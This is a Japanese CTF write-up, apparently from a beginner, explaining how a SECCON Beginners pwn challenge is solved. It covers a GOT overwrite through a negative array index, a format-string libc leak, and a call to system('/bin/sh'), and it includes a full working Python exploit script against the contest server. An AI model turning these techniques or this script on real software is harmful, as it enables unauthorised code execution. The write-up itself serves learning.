こんにちは.リモート授業で一度も授業が一度も授業に現れず資料も与えられずにただただ課題のPDFが配布される授業があるのですが,中間試験はしっかりと行われることが告知されて萎えています.今回はCTF4Bから2週間弱たちましたが,解けなかった問題について考えてみました.
僕が本番で解けた問題のWrite upはこちら (opens new window).
# Elementary stack
Pwnの問題です.本番ではチラッと覗いて難しそうだったのであまり時間をかけず他の問題を考えていましたが.楽しそうなのでこの問題について考えてみました.いくつかwrite upを梯子して僕がどのように考えたのかをメモします.実行ファイルchall
とmain.c
,libc-2.27.so
が与えられました.
コードは以下のようになっています.
long readlong(const char *msg, char *buf, int size) {
printf("%s", msg);
if (read(0, buf, size) <= 0)
fatal("I/O error");
buf[size - 1] = 0;
return atol(buf);
}
int main(void) {
int i;
long v;
char *buffer;
unsigned long x[X_NUMBER];
if ((buffer = malloc(0x20)) == NULL)
fatal("Memory error");
while(1) {
i = (int)readlong("index: ", buffer, 0x20);
v = readlong("value: ", buffer, 0x20);
printf("x[%d] = %ld\n", i, v);
x[i] = v;
}
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
無限ループに囲まれているのでmain関数のリターンアドレスを書き換えるようなことはできなさそうです.malloc
でbuffer
の領域を保持してそこにread
を使用して値を書き込んで配列xに値を書き込んでいくプログラムのようです.
mallocした場所に入力値を格納しているのですが,ローカル変数*buffer
として保持した領域のポインタを持っているのでなんとかなりそう.
/bin/sh
をどうやって実行させるかを考えますが,今回はreadlong
関数内のatol
をGOT overwriteしてsystem('/bin/sh')
を呼び出すべきだったようです.しかし,libcのアドレスがわからないのでsystem
のアドレスがわからないんですね.ここで僕は全くわからなかったんですが,一度atol@got
をprintf
に書き換えることでatol(buf)
をprintf(buf)
とすることでformat string bugを発生させることが出来るそうです.なるほどすごい.format string attackでlibcのアドレスをリークすることでsystem
関数を呼び出すことが出来るようになります.
手順的には以下のような感じ.
atol@got
をprintf
に書き換えるprintf(buf)
を実行させてformat string bugを発生させてlibcのアドレスをリークsystem
のアドレスを計算atol
をsystem
に向ける
手順は理解しましたが実際にやるのは難しいですよね.やってみます.
# 解いてみる
# ステップ1
手順1をまずはクリアしましょう.atol@got
をprintf
に書き換えるためには
x[i] = v;
ここを利用します.x[i]=atolのアドレス
,v=printfのアドレス
という風に指定できれば書き換えが可能です.
書き換えには*buffer
を利用します.ディスアセンブルの結果をみてみます.
0x00000000004007c7 <+41>: mov rax,QWORD PTR [rbp-0x50]
0x00000000004007cb <+45>: mov edx,0x20
0x00000000004007d0 <+50>: mov rsi,rax
0x00000000004007d3 <+53>: lea rdi,[rip+0x100] # 0x4008da
0x00000000004007da <+60>: call 0x40072a <readlong>
0x00000000004007df <+65>: mov DWORD PTR [rbp-0x54],eax
0x00000000004007e2 <+68>: mov rax,QWORD PTR [rbp-0x50]
0x00000000004007e6 <+72>: mov edx,0x20
0x00000000004007eb <+77>: mov rsi,rax
0x00000000004007ee <+80>: lea rdi,[rip+0xed] # 0x4008e2
0x00000000004007f5 <+87>: call 0x40072a <readlong>
0x00000000004007fa <+92>: mov QWORD PTR [rbp-0x48],rax
0x00000000004007fe <+96>: mov rdx,QWORD PTR [rbp-0x48]
0x0000000000400802 <+100>: mov eax,DWORD PTR [rbp-0x54]
0x0000000000400805 <+103>: mov esi,eax
0x0000000000400807 <+105>: lea rdi,[rip+0xdc] # 0x4008ea
0x000000000040080e <+112>: mov eax,0x0
0x0000000000400813 <+117>: call 0x400590 <printf@plt>
0x0000000000400818 <+122>: mov rdx,QWORD PTR [rbp-0x48]
0x000000000040081c <+126>: mov eax,DWORD PTR [rbp-0x54]
0x000000000040081f <+129>: cdqe
0x0000000000400821 <+131>: mov QWORD PTR [rbp+rax*8-0x40],rdx
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
少し長いですが,buffer
はrbp-0x50
に格納されています.また,配列xの先頭アドレスはrbp-0x40
のようですね.入力されたi, vは最終的にrax, rdxに格納されて
mov QWORD PTR [rbp+rax*8-0x40],rdx
でx[i]=v
に対応する処理を行っています.つまり,i= -2
とすることができれば,上の命令をrbp-0x50
つまり*buffer
にvの値を代入する処理にすることができます.
さて,atol
のアドレスはreadlong
を覗くとcall 0x4005d0 <atol@plt>
とあるので0x4005d0
を覗くと
0x00000000004005d0 <atol@plt+0>: jmp QWORD PTR [rip+0x200a6a] # 0x601040
0x00000000004005d6 <atol@plt+6>: push 0x5
0x00000000004005db <atol@plt+11>: jmp 0x400570
0x00000000004005e0 <exit@plt+0>: jmp QWORD PTR [rip+0x200a62] # 0x601048
0x00000000004005e6 <exit@plt+6>: push 0x6
0x00000000004005eb <exit@plt+11>: jmp 0x400570
2
3
4
5
6
とあります.なので*buffer=0x601040
とすればatol
のアドレスは書き換え可能ですね.
次のreadlong
の呼び出しでprintf
のアドレスを書き込みます.printf
のアドレスは0x400590
です.
しかし,これで試してみるとうまくいきません.
buffer
にatol@got
を書き込み,atol@got
をprintf@plt
に書き換えてprintf関数を呼び出すわけですが,この時に*buffer = atol@got = printf@plt
となっているためアドレスリークのために%p
などを入力すると*buffer = atol@got = printf@plt = "%32$p"
となり,printf関数のアドレスが上書きされて呼び出されなくなってしまいます.
これを防ぐために,atol@got
ではなく,一つ前のmalloc@got
を*buffer
に格納します.
アドレスのマッピングは以下のようになっています.
0x00000000004005c0 <malloc@plt+0>: jmp QWORD PTR [rip+0x200a72] # 0x601038
0x00000000004005c6 <malloc@plt+6>: push 0x4
0x00000000004005cb <malloc@plt+11>: jmp 0x400570
0x00000000004005d0 <atol@plt+0>: jmp QWORD PTR [rip+0x200a6a] # 0x601040
0x00000000004005d6 <atol@plt+6>: push 0x5
0x00000000004005db <atol@plt+11>: jmp 0x400570
2
3
4
5
6
malloc@got
を*buffer
に格納して,'a'*8 + printf@plt
のように書き込むことで8バイト分の余白を持たせつつatol@got
をprintf@plt
に書き換えることができます.
ここまででのソルバーのコードはこんな感じ.問題の構造を理解するためにpwntools
などは使わずにやってみます(素人すぎて使い方知らないだけ).
import socket, time, telnetlib
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('es.quals.beginners.seccon.jp', 9003))
print(s.recv(2048).decode())
time.sleep(1)
s.sendall(b'-2\n')
time.sleep(1)
print(s.recv(2048).decode())
print("[info] overwrite buffer address to atol@got")
s.sendall(str(0x601038).encode()) # malloc
# s.sendall(str(0x601040).encode()) # atol
# time.sleep(1)
print(s.recv(2048).decode())
time.sleep(1)
print("[info] overwrite atol@got to printf@plt")
s.sendall(b"a"*8 + (0x400590).to_bytes(8, 'little') + b'\n') # printf
# s.sendall((0x400590).to_bytes(8, 'little'))
time.sleep(1)
print(s.recv(2048))
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
念のため各処理のあと1秒スリープさせています.
ここで注意して欲しいのはmalloc@got
をアドレスを書き込む時です.最初は(0x601038).to_bytes(8, 'little')
のようにリトルエンディアンに変換して書き込んでいたんですが,これではうまくいきません.入力された値はread
で文字列で読み込まれてatol
でlongに変換されるのでバイト列で入力したら意図した値を書き込めないんですね〜.素直にアドレスの数値を書き込みましょう.ここ少しはまりました.何はともあれこれでステップ1は完了です.次にいきましょう.
# ステップ2
ステップ2はprintf関数を使用してformat string attackを行いlibcのアドレスをリークします. format string attackについてはこちらの記事 (opens new window)を参照してください. libcのベースアドレスを取得するためにprintf関数を実行している時のスタックをみてみます.
gdb-peda$ x/32g $rsp
0x7fffffffddd0: 0x0000000000000001 0x00000001f7ffe170
0x7fffffffdde0: 0x0000000000602260 0x0000000000000000
0x7fffffffddf0: 0x0000000000000002 0x000000000040087d
0x7fffffffde00: 0x00007ffff7de59a0 0x0000000000000000
0x7fffffffde10: 0x0000000000400830 0x00000000004005f0
0x7fffffffde20: 0x00007fffffffdf10 0x0000000000000000
0x7fffffffde30: 0x0000000000400830 0x00007ffff7a05b97
2
3
4
5
6
7
8
こんな感じです.libcのアドレスは実行ごとに変化するので確定した値はありませんが,毎回末尾にb97
が現れるメモリがありますね.このメモリの値が差す場所をみてみます.
gdb-peda$ x/4wx 0x7ffff7a05b97
0x7ffff7a05b97 <__libc_start_main+231>: 0x82e8c789 0x48000215 0xed23058b 0xc148003c
2
こんな感じになっており,ここが__libc_start_main+231
であることがわかります.というわけで%[n]$p
で番号を指定してアドレスを取得します.他の方のwrite upでは25を指定しています.どうやって25というのがわかったんでしょう.僕はやり方がわからなかったので頑張って番号をインクリメントしながら探しました.というわけで25を指定すればlibcのアドレスがわかります.
print("[info] address leak by format string attack")
s.sendall(b"%25$p" + b'\n')
time.sleep(1)
print(s.recv(2048))
time.sleep(1)
2
3
4
5
6
上記のコードを先ほどのコードに追記します.
不明な点はありますがなんとかlibcのアドレスを取得できました.次のステップではsystem
関数のアドレスを計算します.
# ステップ3
system
関数のアドレスを計算して求めましょう.
まずはlibcのベースアドレスを求めます.ステップ2で求めたのは__libc_start_main+231
でした.
__libc_start_main
のアドレスは以下のようにして見つけることができました.
$ objdump -S -M intel ./libc-2.27.so | grep libc_start_main
0000000000021ab0 <__libc_start_main@@GLIBC_2.2.5>:
2
従って,libcのベースアドレスは[__libc_start_main+231の値] - 0x21ab0 - 231
となります.
次にlibcのsystem関数のアドレスを取得します.
$ objdump -S -M intel ./libc-2.27.so | grep libc_system
000000000004f440 <__libc_system@@GLIBC_PRIVATE>:
2
従って,system関数のアドレスはsystem = libc_base + 0x4f440
で求めることができます.
ステップ4に進みましょう.
# ステップ4
system関数のアドレスがわかったのでatol@got
を書き換えましょう.引数には/bin/sh
を入れます.
入力バッファは現在malloc@got
からとっています.atol(buf)
(現在はprintf(buf)
を指している)はatol
をsystem
に書き換えると,system(buf)
として実行されます.つまり,入力する値は"/bin/sh\0" + systemのアドレス
とすればsystem("/bin/sh")
が呼び出されます.
以下をコードに追記してください.
s.sendall(b"/bin/sh\0" + system.to_bytes(8, 'little'))
print(s.recv(2048))
print("[info] success to exploit!!!")
t = telnetlib.Telnet()
t.sock = s
2
3
4
5
6
実行するとフラグを得ることができました.
[info] success to exploit!!!
ls
chall
flag.txt
redir.sh
cat flag.txt
ctf4b{4bus1ng_st4ck_d03snt_n3c3ss4r1ly_m34n_0v3rwr1t1ng_r3turn_4ddr3ss}
2
3
4
5
6
7
# 攻撃コード
今回作成したコードはこちら.pwntools使えるように勉強しなくては.
import socket, time, telnetlib
malloc_got = 0x601038
printf_plt = 0x400590
libc_start_main_symbol = 0x21ab0
libc_system = 0x4f440
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('es.quals.beginners.seccon.jp', 9003))
print(s.recv(2048).decode())
time.sleep(1)
s.sendall(b'-2\n')
time.sleep(1)
print(s.recv(2048).decode())
print("[info] overwrite buffer address to atol@got")
s.sendall(str(malloc_got).encode()) # malloc
# s.sendall(str(0x601040).encode()) # atol
# time.sleep(1)
print(s.recv(2048).decode())
time.sleep(1)
print("[info] overwrite atol@got to printf@plt")
s.sendall(b"a"*8 + printf_plt.to_bytes(8, 'little') + b'\n') # printf
# s.sendall((0x400590).to_bytes(8, 'little'))
time.sleep(1)
print(s.recv(2048))
s.sendall(b"%25$p")
time.sleep(1)
libc_start_main = int(s.recv(14).decode(), 16)
libc_base = libc_start_main - libc_start_main_symbol - 231
print("[info] libc base: ", hex(libc_base))
system = libc_base + libc_system
print("[info] system: ", hex(system))
time.sleep(1)
s.sendall(b"/bin/sh\0" + system.to_bytes(8, 'little'))
print(s.recv(2048))
print("[info] success to exploit!!!")
t = telnetlib.Telnet()
t.sock = s
t.interact()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# まとめ
非常に楽しい問題でした.pwnやってる気になりましたね.僕のような初心者が本番で特には難しい問題でしたが,一つ一つステップを踏んで理解すれば解ける問題でした.また,基本的なテクニックが詰まっている問題だったのでこれを自分で理解することができればレベルアップできる気がします.そういった意味で初心者にとってすごくいい問題だったと思います.ありがとうございました.